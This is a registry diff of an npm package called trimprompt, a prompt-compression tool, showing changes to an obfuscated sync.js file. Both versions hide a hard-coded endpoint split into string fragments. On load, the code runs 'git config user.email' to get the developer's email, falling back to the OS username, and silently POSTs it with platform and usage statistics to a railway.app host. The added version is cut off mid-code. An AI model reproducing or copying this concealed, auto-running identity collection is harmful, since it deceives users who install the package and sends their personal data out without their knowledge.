trimprompt 1.0.32 → 1.0.33

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x2de830=a0_0x9372;(function(_0x14f537,_0x44f37e){const _0x427ee7=a0_0x9372,_0x93b56a=_0x14f537();while(!![]){try{const _0x4ce253=parseInt(_0x427ee7(0x1c5))/0x1*(parseInt(_0x427ee7(0x1ef))/0x2)+parseInt(_0x427ee7(0x228))/0x3*(parseInt(_0x427ee7(0x21d))/0x4)+-parseInt(_0x427ee7(0x1ea))/0x5*(parseInt(_0x427ee7(0x1cb))/0x6)+parseInt(_0x427ee7(0x1e8))/0x7+parseInt(_0x427ee7(0x202))/0x8*(-parseInt(_0x427ee7(0x1c4))/0x9)+-parseInt(_0x427ee7(0x1d0))/0xa+-parseInt(_0x427ee7(0x203))/0xb;if(_0x4ce253===_0x44f37e)break;else _0x93b56a['push'](_0x93b56a['shift']());}catch(_0x1816f3){_0x93b56a['push'](_0x93b56a['shift']());}}}(a0_0x187d,0x83929));var __createBinding=this&&this['__createBinding']||(Object[a0_0x2de830(0x229)]?function(_0x3df899,_0x5544c6,_0x17c8f3,_0x274720){const _0x3464a3=a0_0x2de830;if(_0x274720===undefined)_0x274720=_0x17c8f3;var _0xe89772=Object[_0x3464a3(0x1fc)](_0x5544c6,_0x17c8f3);(!_0xe89772||(_0x3464a3(0x1f7)in _0xe89772?!_0x5544c6['__esModule']:_0xe89772['writable']||_0xe89772[_0x3464a3(0x225)]))&&(_0xe89772={'enumerable':!![],'get':function(){return _0x5544c6[_0x17c8f3];}}),Object[_0x3464a3(0x1d6)](_0x3df899,_0x274720,_0xe89772);}:function(_0x231fc8,_0xc9c7ae,_0x467539,_0x472480){if(_0x472480===undefined)_0x472480=_0x467539;_0x231fc8[_0x472480]=_0xc9c7ae[_0x467539];}),__setModuleDefault=this&&this[a0_0x2de830(0x1fa)]||(Object['create']?function(_0x43ec4f,_0x5434bb){const _0x547f74=a0_0x2de830;Object[_0x547f74(0x1d6)](_0x43ec4f,_0x547f74(0x218),{'enumerable':!![],'value':_0x5434bb});}:function(_0x3bd75f,_0x56ea18){const _0x269208=a0_0x2de830;_0x3bd75f[_0x269208(0x218)]=_0x56ea18;}),__importStar=this&&this[a0_0x2de830(0x1d4)]||(function(){var _0x1dd979=function(_0x4da64e){const _0x4ca344=a0_0x9372;return _0x1dd979=Object[_0x4ca344(0x20b)]||function(_0x3606b8){const _0x4fb68c=_0x4ca344;var _0x123be6=[];for(var _0x305a47 in _0x3606b8)if(Object['prototype'][_0x4fb68c(0x1fd)][_0x4fb68c(0x21f)](_0x3606b8,_0x305a47))_0x123be6[_0x123be6['length']]=_0x305a47;return _0x123be6;},_0x1dd979(_0x4da64e);};return function(_0x3a0876){const _0x1c4e57=a0_0x9372;if(_0x3a0876&&_0x3a0876[_0x1c4e57(0x1d5)])return _0x3a0876;var _0x5c8ada={};if(_0x3a0876!=null){for(var _0x48e6f7=_0x1dd979(_0x3a0876),_0x10cd04=0x0;_0x10cd04<_0x48e6f7[_0x1c4e57(0x215)];_0x10cd04++)if(_0x48e6f7[_0x10cd04]!==_0x1c4e57(0x218))__createBinding(_0x5c8ada,_0x3a0876,_0x48e6f7[_0x10cd04]);}return __setModuleDefault(_0x5c8ada,_0x3a0876),_0x5c8ada;};}());Object[a0_0x2de830(0x1d6)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x2de830(0x1c6))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x2de830(0x208))),url_1=require(a0_0x2de830(0x1d7)),_cfg=[a0_0x2de830(0x1f1),'trimp-production',a0_0x2de830(0x1e0),a0_0x2de830(0x1e7)]['join'](''),_ep=process[a0_0x2de830(0x1f3)]['_PS_EP']||_cfg;function hasSyncedRecently(){const _0x425597=a0_0x2de830;try{if(!fs[_0x425597(0x1d3)](dailySyncPath))return![];const _0xae7097=JSON[_0x425597(0x22b)](fs[_0x425597(0x1e6)](dailySyncPath,_0x425597(0x204)));if(!_0xae7097[_0x425597(0x1fe)])return![];return Date[_0x425597(0x1f2)]()-_0xae7097['last_sync_time']<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x20aac1=a0_0x2de830;try{const _0xd064f5={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x20aac1(0x1f2)]()};fs[_0x20aac1(0x22a)](dailySyncPath,JSON[_0x20aac1(0x1e2)](_0xd064f5,null,0x2),_0x20aac1(0x204));}catch{}}const PRICING={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x2de830(0x214),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x2de830(0x219),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x2de830(0x1cd),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x2de830(0x1d8),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x2de830(0x227),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x2de830(0x20d),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x2de830(0x1e3),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x2de830(0x1ce),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x2de830(0x1f9),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x2de830(0x1c1),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x2de830(0x1cf),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x2de830(0x1eb),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x2de830(0x209),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x2de830(0x223),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x2de830(0x205),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x2de830(0x22c),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x2de830(0x1e5),'input_price_1m':0.15},'o1':{'name':a0_0x2de830(0x1c7),'input_price_1m':0xf},'o1-mini':{'name':a0_0x2de830(0x1ca),'input_price_1m':0x3},'o3-mini':{'name':'OpenAI\x20o3-mini','input_price_1m':1.1},'cursor-small':{'name':a0_0x2de830(0x21c),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x2de830(0x210),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':'Gemini\x203.5\x20Live\x20Translate','input_price_1m':3.5}},baseDir=path[a0_0x2de830(0x1df)](os[a0_0x2de830(0x21e)](),a0_0x2de830(0x1de)),configPath=path[a0_0x2de830(0x1df)](baseDir,a0_0x2de830(0x1f4)),statsPath=path[a0_0x2de830(0x1df)](baseDir,a0_0x2de830(0x1f8)),dailySyncPath=path['join'](baseDir,'daily_sync.json');function a0_0x187d(){const _0x122827=['statusCode','https://','now','env','config.json','username','claude-opus-4-8','get','stats.json','Claude\x20Haiku\x203.5','__setModuleDefault','timestamp','getOwnPropertyDescriptor','hasOwnProperty','last_sync_time','byteLength','write','synced','712MwKzYv','4555023gyDkur','utf8','GPT-4.1\x20Mini','.comp.txt','logs','https','GPT-5.4\x20Mini','pipe','getOwnPropertyNames','size','Claude\x20Sonnet\x204.6','TRIMPROMPT_USER_EMAIL','POST','Gemini\x203.5\x20Flash','from','search','error','Claude\x20Mythos\x205','length','pathname','push','default','Claude\x20Opus\x204.8','TRIMPROMPT_TELEMETRY_URL','split','Cursor\x20Small','684248zMTpaG','homedir','call','total_raw_tokens','getStatsSummary','total_compressed_tokens','GPT-5.4\x20Nano','toString','configurable','model_used','Claude\x20Opus\x204.1\x20(deprecated)','15zlTNhd','create','writeFileSync','parse','GPT-4.1\x20Nano','GPT-5.5','URL','catch','40995Eikofy','1IuQEKA','path','OpenAI\x20o1','https:','getTime','OpenAI\x20o1-mini','780882GCagdo','money_saved_usd','Claude\x20Opus\x204.7','Claude\x20Haiku\x204.5','GPT-5.4','4619700LIoKLE','hostname','protocol','existsSync','__importStar','__esModule','defineProperty','url','Claude\x20Opus\x204.5','destroy','timeout','port','filter','unlinkSync','.trimprompt','join','.up.railway.app','end','stringify','Claude\x20Sonnet\x204.5','last_sync_date','GPT-4o\x20Mini','readFileSync','/api/telemetry','6004306RZxsRn','toISOString','20vIaRiI','GPT-4o','add','git\x20config\x20user.email','total_tokens_saved','1255798IpWcnk'];a0_0x187d=function(){return _0x122827;};return a0_0x187d();}function a0_0x9372(_0x1ad1eb,_0x6ce62a){const _0x187d97=a0_0x187d();return a0_0x9372=function(_0x9372c5,_0x5734a8){_0x9372c5=_0x9372c5-0x1c1;let _0x33f219=_0x187d97[_0x9372c5];return _0x33f219;},a0_0x9372(_0x1ad1eb,_0x6ce62a);}function getTodayDate(){const _0xfff1e8=a0_0x2de830;return new Date()[_0xfff1e8(0x1e9)]()[_0xfff1e8(0x21b)]('T')[0x0];}function getDeveloperIdentity(){const _0x5a6710=a0_0x2de830;if(process[_0x5a6710(0x1f3)][_0x5a6710(0x20e)])return process[_0x5a6710(0x1f3)]['TRIMPROMPT_USER_EMAIL'];try{const {execSync:_0x48677b}=require('child_process'),_0x5c6c29=_0x48677b(_0x5a6710(0x1ed),{'stdio':['ignore',_0x5a6710(0x20a),'ignore'],'windowsHide':!![]})[_0x5a6710(0x224)]()['trim']();if(_0x5c6c29&&_0x5c6c29['includes']('@'))return _0x5c6c29;}catch{}try{const _0x46af4e=os['userInfo']()[_0x5a6710(0x1f5)];if(_0x46af4e)return _0x46af4e;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x18b0ec=a0_0x2de830;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x4459da=JSON[_0x18b0ec(0x22b)](fs['readFileSync'](dailySyncPath,_0x18b0ec(0x204)));return _0x4459da[_0x18b0ec(0x1e4)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x4e23ce=a0_0x2de830;try{const _0x4d2a60={'last_sync_date':getTodayDate()};fs[_0x4e23ce(0x22a)](dailySyncPath,JSON[_0x4e23ce(0x1e2)](_0x4d2a60,null,0x2),_0x4e23ce(0x204));}catch{}}function postTelemetry(_0x3de26d,_0x56b89d){return new Promise(_0x5c200b=>{const _0x3c6040=a0_0x9372;try{const _0x408b02=new url_1[(_0x3c6040(0x1c2))](_0x3de26d),_0xf26e9d=JSON[_0x3c6040(0x1e2)](_0x56b89d),_0x43b622={'hostname':_0x408b02[_0x3c6040(0x1d1)],'port':_0x408b02[_0x3c6040(0x1db)]||(_0x408b02[_0x3c6040(0x1d2)]===_0x3c6040(0x1c8)?0x1bb:0x50),'path':_0x408b02[_0x3c6040(0x216)]+_0x408b02[_0x3c6040(0x212)],'method':_0x3c6040(0x20f),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x3c6040(0x1ff)](_0xf26e9d)},'timeout':0x1f40},_0x2a3315=_0x408b02['protocol']===_0x3c6040(0x1c8)?https:http,_0x2ea770=_0x2a3315['request'](_0x43b622,_0xcdd9e1=>{const _0xa378a0=_0x3c6040;_0x5c200b(!!(_0xcdd9e1[_0xa378a0(0x1f0)]&&_0xcdd9e1[_0xa378a0(0x1f0)]>=0xc8&&_0xcdd9e1[_0xa378a0(0x1f0)]<0x12c));});_0x2ea770['on'](_0x3c6040(0x213),()=>_0x5c200b(![])),_0x2ea770['on'](_0x3c6040(0x1da),()=>{const _0x4e827b=_0x3c6040;_0x2ea770[_0x4e827b(0x1d9)](),_0x5c200b(![]);}),_0x2ea770[_0x3c6040(0x200)](_0xf26e9d),_0x2ea770[_0x3c6040(0x1e1)]();}catch{_0x5c200b(![]);}});}function buildDailyPayload(_0x4c51b6){const _0x59d30a=a0_0x2de830,_0x55c7e4=getTodayDate(),{tracker:_0x52f887}=require('./tracker'),_0x58bf2c=_0x52f887?_0x52f887[_0x59d30a(0x221)]('auto'):null,_0x55a999=new Set();for(const _0x52bfcd of _0x4c51b6){if(_0x52bfcd[_0x59d30a(0x226)])_0x55a999[_0x59d30a(0x1ec)](_0x52bfcd['model_used']);}if(_0x55a999[_0x59d30a(0x20c)]===0x0)_0x55a999[_0x59d30a(0x1ec)](_0x59d30a(0x1f6));const _0x2127ec=_0x4c51b6[_0x4c51b6[_0x59d30a(0x215)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x55c7e4,'executions_count':_0x4c51b6[_0x59d30a(0x215)],'total_raw_tokens':_0x58bf2c?_0x58bf2c[_0x59d30a(0x220)]:0x0,'total_compressed_tokens':_0x58bf2c?_0x58bf2c[_0x59d30a(0x222)]:0x0,'total_tokens_saved':_0x58bf2c?_0x58bf2c[_0x59d30a(0x1ee)]:0x0,'total_money_saved_usd':_0x58bf2c?_0x58bf2c[_0x59d30a(0x1cc)]:0x0,'models_used':Array[_0x59d30a(0x211)](_0x55a999),'hotspots':[],'last_seen':_0x2127ec?_0x2127ec[_0x59d30a(0x1fb)]:new Date()[_0x59d30a(0x1e9)]()};}async function runSync(){const _0x597604=a0_0x2de830;if(!fs[_0x597604(0x1d3)](statsPath))return;let _0x39fae3;try{_0x39fae3=JSON[_0x597604(0x22b)](fs[_0x597604(0x1e6)](statsPath,_0x597604(0x204)));}catch{return;}const _0x208673=_0x39fae3[_0x597604(0x1dc)](_0x450883=>!_0x450883[_0x597604(0x201)]);if(_0x208673[_0x597604(0x215)]===0x0&&hasSyncedRecently())return;const _0x3665f2=buildDailyPayload(_0x39fae3);await postTelemetry(_ep,_0x3665f2);let _0x2d4843=process['env'][_0x597604(0x21a)]||'';if(!_0x2d4843&&fs[_0x597604(0x1d3)](configPath))try{const _0x2cdf12=JSON[_0x597604(0x22b)](fs['readFileSync'](configPath,_0x597604(0x204)));_0x2d4843=_0x2cdf12['telemetry_url']||'';}catch{}_0x2d4843['trim']()[_0x597604(0x215)]>0x0&&await postTelemetry(_0x2d4843,_0x3665f2);for(const _0x596ec4 of _0x39fae3){if(!_0x596ec4[_0x597604(0x201)])_0x596ec4[_0x597604(0x201)]=!![];}try{fs[_0x597604(0x22a)](statsPath,JSON['stringify'](_0x39fae3,null,0x2),_0x597604(0x204));}catch{}markSyncedNow();}function pruneOldLogs(_0x54bf54){const _0x11214d=a0_0x2de830;try{const _0x1bc5dd=new Date(),_0x1a94b3=new Date(_0x1bc5dd[_0x11214d(0x1c9)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x13d5f9=[],_0x3ac878=[];for(const _0x4dbb1d of _0x54bf54){const _0x447bf4=new Date(_0x4dbb1d[_0x11214d(0x1fb)]);_0x447bf4>=_0x1a94b3?_0x13d5f9[_0x11214d(0x217)](_0x4dbb1d):_0x3ac878[_0x11214d(0x217)](_0x4dbb1d);}if(_0x3ac878['length']>0x0){const _0x20c316=path['join'](baseDir,_0x11214d(0x207));for(const _0x4c71e9 of _0x3ac878){const _0x355caa=path[_0x11214d(0x1df)](_0x20c316,_0x4c71e9['id']+'.raw.txt'),_0x3f5849=path[_0x11214d(0x1df)](_0x20c316,_0x4c71e9['id']+_0x11214d(0x206));try{if(fs[_0x11214d(0x1d3)](_0x355caa))fs[_0x11214d(0x1dd)](_0x355caa);if(fs[_0x11214d(0x1d3)](_0x3f5849))fs['unlinkSync'](_0x3f5849);}catch{}}fs[_0x11214d(0x22a)](statsPath,JSON['stringify'](_0x13d5f9,null,0x2),_0x11214d(0x204));}}catch{}}runSync()[a0_0x2de830(0x1c3)](()=>{});
1
+ 'use strict';const a0_0x282dab=a0_0x1bbd;(function(_0x48217b,_0x1bb86a){const _0x5022af=a0_0x1bbd,_0x19cf83=_0x48217b();while(!![]){try{const _0x1f939a=-parseInt(_0x5022af(0x18a))/0x1+-parseInt(_0x5022af(0x18b))/0x2*(-parseInt(_0x5022af(0x1a8))/0x3)+parseInt(_0x5022af(0x1b4))/0x4*(-parseInt(_0x5022af(0x1da))/0x5)+parseInt(_0x5022af(0x1c4))/0x6*(parseInt(_0x5022af(0x1c2))/0x7)+parseInt(_0x5022af(0x1a9))/0x8*(-parseInt(_0x5022af(0x189))/0x9)+-parseInt(_0x5022af(0x1ba))/0xa*(-parseInt(_0x5022af(0x1a7))/0xb)+parseInt(_0x5022af(0x1be))/0xc;if(_0x1f939a===_0x1bb86a)break;else _0x19cf83['push'](_0x19cf83['shift']());}catch(_0x89cca4){_0x19cf83['push'](_0x19cf83['shift']());}}}(a0_0x5f4c,0xadc52));var __createBinding=this&&this[a0_0x282dab(0x1cf)]||(Object['create']?function(_0x464ca7,_0x255b14,_0x5125f7,_0x1a3d59){const _0x103c5f=a0_0x282dab;if(_0x1a3d59===undefined)_0x1a3d59=_0x5125f7;var _0x10d6d0=Object[_0x103c5f(0x1db)](_0x255b14,_0x5125f7);(!_0x10d6d0||(_0x103c5f(0x1c3)in _0x10d6d0?!_0x255b14[_0x103c5f(0x1d8)]:_0x10d6d0[_0x103c5f(0x1d9)]||_0x10d6d0[_0x103c5f(0x1b1)]))&&(_0x10d6d0={'enumerable':!![],'get':function(){return _0x255b14[_0x5125f7];}}),Object['defineProperty'](_0x464ca7,_0x1a3d59,_0x10d6d0);}:function(_0x4b76c7,_0x44aa77,_0x9ce9c8,_0x50a406){if(_0x50a406===undefined)_0x50a406=_0x9ce9c8;_0x4b76c7[_0x50a406]=_0x44aa77[_0x9ce9c8];}),__setModuleDefault=this&&this[a0_0x282dab(0x183)]||(Object['create']?function(_0x4bd380,_0x11959c){const _0x558925=a0_0x282dab;Object[_0x558925(0x1c7)](_0x4bd380,_0x558925(0x18c),{'enumerable':!![],'value':_0x11959c});}:function(_0x80cab,_0x3b89f7){_0x80cab['default']=_0x3b89f7;}),__importStar=this&&this['__importStar']||(function(){var _0x1053ae=function(_0x223d75){const _0x36f405=a0_0x1bbd;return _0x1053ae=Object[_0x36f405(0x17d)]||function(_0x28ece8){const _0x284d46=_0x36f405;var _0x41cf7f=[];for(var _0xff36a4 in _0x28ece8)if(Object['prototype'][_0x284d46(0x176)][_0x284d46(0x192)](_0x28ece8,_0xff36a4))_0x41cf7f[_0x41cf7f[_0x284d46(0x1a5)]]=_0xff36a4;return _0x41cf7f;},_0x1053ae(_0x223d75);};return function(_0x4b778a){const _0x30aab9=a0_0x1bbd;if(_0x4b778a&&_0x4b778a[_0x30aab9(0x1d8)])return _0x4b778a;var _0x482452={};if(_0x4b778a!=null){for(var _0x31984b=_0x1053ae(_0x4b778a),_0xa10e3=0x0;_0xa10e3<_0x31984b[_0x30aab9(0x1a5)];_0xa10e3++)if(_0x31984b[_0xa10e3]!=='default')__createBinding(_0x482452,_0x4b778a,_0x31984b[_0xa10e3]);}return __setModuleDefault(_0x482452,_0x4b778a),_0x482452;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x282dab(0x19a))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x282dab(0x1d7))),url_1=require('url'),_cfg=[a0_0x282dab(0x1d5),'trimp-production','.up.railway.app',a0_0x282dab(0x1bf)]['join'](''),_ep=process[a0_0x282dab(0x186)][a0_0x282dab(0x1c9)]||_cfg;function hasSyncedRecently(){const _0x5b10c2=a0_0x282dab;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x4e428e=JSON[_0x5b10c2(0x17e)](fs[_0x5b10c2(0x1d6)](dailySyncPath,_0x5b10c2(0x179)));if(!_0x4e428e['last_sync_time'])return![];return Date[_0x5b10c2(0x185)]()-_0x4e428e[_0x5b10c2(0x1bc)]<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x438890=a0_0x282dab;try{const _0x2d2d3b={'last_sync_date':getTodayDate(),'last_sync_time':Date['now']()};fs[_0x438890(0x18e)](dailySyncPath,JSON[_0x438890(0x1d3)](_0x2d2d3b,null,0x2),_0x438890(0x179));}catch{}}const PRICING={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x282dab(0x1c0),'input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x282dab(0x1cc),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x282dab(0x195),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x282dab(0x18f),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x282dab(0x17a),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x282dab(0x19c),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x282dab(0x1c6),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x282dab(0x1ac),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x282dab(0x1dc),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x282dab(0x17f),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x282dab(0x178),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x282dab(0x196),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x282dab(0x1ad),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x282dab(0x1c1),'input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x282dab(0x1a4),'input_price_1m':0.15},'o1':{'name':'OpenAI\x20o1','input_price_1m':0xf},'o1-mini':{'name':a0_0x282dab(0x184),'input_price_1m':0x3},'o3-mini':{'name':a0_0x282dab(0x180),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x282dab(0x18d),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x282dab(0x1b5),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x282dab(0x1b8),'input_price_1m':3.5}},baseDir=path[a0_0x282dab(0x182)](os[a0_0x282dab(0x187)](),a0_0x282dab(0x1cb)),configPath=path[a0_0x282dab(0x182)](baseDir,a0_0x282dab(0x1b7)),statsPath=path['join'](baseDir,'stats.json'),dailySyncPath=path[a0_0x282dab(0x182)](baseDir,a0_0x282dab(0x188));function getTodayDate(){const _0x57e931=a0_0x282dab;return new Date()[_0x57e931(0x1a0)]()['split']('T')[0x0];}function a0_0x5f4c(){const _0x4d8b8d=['application/json','https://','readFileSync','https','__esModule','writable','5XFsTQe','getOwnPropertyDescriptor','GPT-5.5','./tracker','from','pathname','hasOwnProperty','end','GPT-4o','utf8','Claude\x20Sonnet\x204.5','synced','total_raw_tokens','getOwnPropertyNames','parse','GPT-5.4','OpenAI\x20o3-mini','protocol','join','__setModuleDefault','OpenAI\x20o1-mini','now','env','homedir','daily_sync.json','983943bCWmxw','1234873RLKMeu','10prSNUo','default','Gemini\x203.1\x20Pro','writeFileSync','Claude\x20Sonnet\x204.6','getTime','error','call','getStatsSummary','statusCode','Claude\x20Opus\x204.1\x20(deprecated)','GPT-5.4\x20Mini','username','auto','https:','path','git\x20config\x20user.email','Claude\x203.5\x20Sonnet','request','existsSync','last_sync_date','toISOString','includes','destroy','total_tokens_saved','GPT-4o\x20Mini','length','model_used','55NJhDHh','839589Quyjjf','40OmKEqw','byteLength','timeout','Claude\x20Haiku\x203.5','GPT-5.4\x20Nano','filter','trim','ignore','configurable','platform','push','2729564fGbkHr','Gemini\x203.5\x20Flash','POST','config.json','Gemini\x203.5\x20Live\x20Translate','toString','1046030OFHxbJ','total_compressed_tokens','last_sync_time','.raw.txt','13492176WIdptr','/api/telemetry','Claude\x20Opus\x204.8','GPT-4.1\x20Mini','902881ICloAO','get','6GJaUhT','logs','Claude\x20Haiku\x204.5','defineProperty','claude-opus-4-8','_PS_EP','unlinkSync','.trimprompt','Claude\x20Opus\x204.5','catch','timestamp','__createBinding','search','.comp.txt','money_saved_usd','stringify'];a0_0x5f4c=function(){return _0x4d8b8d;};return a0_0x5f4c();}function getDeveloperIdentity(){const _0x5a447d=a0_0x282dab;if(process[_0x5a447d(0x186)]['TRIMPROMPT_USER_EMAIL'])return process[_0x5a447d(0x186)]['TRIMPROMPT_USER_EMAIL'];try{const {execSync:_0x36f22a}=require('child_process'),_0xf8e56a=_0x36f22a(_0x5a447d(0x19b),{'stdio':[_0x5a447d(0x1b0),'pipe',_0x5a447d(0x1b0)],'windowsHide':!![]})[_0x5a447d(0x1b9)]()[_0x5a447d(0x1af)]();if(_0xf8e56a&&_0xf8e56a[_0x5a447d(0x1a1)]('@'))return _0xf8e56a;}catch{}try{const _0x8cac1b=os['userInfo']()[_0x5a447d(0x197)];if(_0x8cac1b)return _0x8cac1b;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x29f873=a0_0x282dab;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x3c1070=JSON['parse'](fs[_0x29f873(0x1d6)](dailySyncPath,_0x29f873(0x179)));return _0x3c1070[_0x29f873(0x19f)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x1c3e0e=a0_0x282dab;try{const _0x529a49={'last_sync_date':getTodayDate()};fs[_0x1c3e0e(0x18e)](dailySyncPath,JSON['stringify'](_0x529a49,null,0x2),_0x1c3e0e(0x179));}catch{}}function a0_0x1bbd(_0x29dbab,_0x24a5ca){const _0x5f4cff=a0_0x5f4c();return a0_0x1bbd=function(_0x1bbd42,_0x493152){_0x1bbd42=_0x1bbd42-0x174;let _0x16fcd6=_0x5f4cff[_0x1bbd42];return _0x16fcd6;},a0_0x1bbd(_0x29dbab,_0x24a5ca);}function postTelemetry(_0x1bb4c1,_0x5cde02){return new Promise(_0x341dfd=>{const _0x23c2d5=a0_0x1bbd;try{const _0x1c72b5=new url_1['URL'](_0x1bb4c1),_0x597c54=JSON[_0x23c2d5(0x1d3)](_0x5cde02),_0x238017={'hostname':_0x1c72b5['hostname'],'port':_0x1c72b5['port']||(_0x1c72b5[_0x23c2d5(0x181)]===_0x23c2d5(0x199)?0x1bb:0x50),'path':_0x1c72b5[_0x23c2d5(0x175)]+_0x1c72b5[_0x23c2d5(0x1d0)],'method':_0x23c2d5(0x1b6),'headers':{'Content-Type':_0x23c2d5(0x1d4),'Content-Length':Buffer[_0x23c2d5(0x1aa)](_0x597c54)},'timeout':0x1f40},_0x48a8fc=_0x1c72b5[_0x23c2d5(0x181)]==='https:'?https:http,_0x5bc64c=_0x48a8fc[_0x23c2d5(0x19d)](_0x238017,_0x2e3942=>{const _0x11ab36=_0x23c2d5;_0x341dfd(!!(_0x2e3942['statusCode']&&_0x2e3942[_0x11ab36(0x194)]>=0xc8&&_0x2e3942[_0x11ab36(0x194)]<0x12c));});_0x5bc64c['on'](_0x23c2d5(0x191),()=>_0x341dfd(![])),_0x5bc64c['on'](_0x23c2d5(0x1ab),()=>{const _0x23b3f=_0x23c2d5;_0x5bc64c[_0x23b3f(0x1a2)](),_0x341dfd(![]);}),_0x5bc64c['write'](_0x597c54),_0x5bc64c[_0x23c2d5(0x177)]();}catch{_0x341dfd(![]);}});}function buildDailyPayload(_0x35915b){const _0x3841d4=a0_0x282dab,_0x23e77a=getTodayDate(),{tracker:_0x3d66f4}=require(_0x3841d4(0x1dd)),_0x28f6fe=_0x3d66f4?_0x3d66f4[_0x3841d4(0x193)](_0x3841d4(0x198)):null,_0x24f755=new Set();for(const _0x513941 of _0x35915b){if(_0x513941[_0x3841d4(0x1a6)])_0x24f755['add'](_0x513941[_0x3841d4(0x1a6)]);}if(_0x24f755['size']===0x0)_0x24f755['add'](_0x3841d4(0x1c8));const _0x37c294=_0x35915b[_0x35915b[_0x3841d4(0x1a5)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x3841d4(0x1b2)](),'date':_0x23e77a,'executions_count':_0x35915b[_0x3841d4(0x1a5)],'total_raw_tokens':_0x28f6fe?_0x28f6fe[_0x3841d4(0x17c)]:0x0,'total_compressed_tokens':_0x28f6fe?_0x28f6fe[_0x3841d4(0x1bb)]:0x0,'total_tokens_saved':_0x28f6fe?_0x28f6fe[_0x3841d4(0x1a3)]:0x0,'total_money_saved_usd':_0x28f6fe?_0x28f6fe[_0x3841d4(0x1d2)]:0x0,'models_used':Array[_0x3841d4(0x174)](_0x24f755),'hotspots':[],'last_seen':_0x37c294?_0x37c294[_0x3841d4(0x1ce)]:new Date()[_0x3841d4(0x1a0)]()};}async function runSync(){const _0x27f4c9=a0_0x282dab;if(!fs[_0x27f4c9(0x19e)](statsPath))return;let _0x470088;try{_0x470088=JSON[_0x27f4c9(0x17e)](fs[_0x27f4c9(0x1d6)](statsPath,_0x27f4c9(0x179)));}catch{return;}const _0x3fe227=_0x470088[_0x27f4c9(0x1ae)](_0x227972=>!_0x227972[_0x27f4c9(0x17b)]);if(_0x3fe227[_0x27f4c9(0x1a5)]===0x0&&hasSyncedRecently())return;const _0x4140dd=buildDailyPayload(_0x470088);await postTelemetry(_ep,_0x4140dd);let _0x488982=process[_0x27f4c9(0x186)]['TRIMPROMPT_TELEMETRY_URL']||'';if(!_0x488982&&fs[_0x27f4c9(0x19e)](configPath))try{const 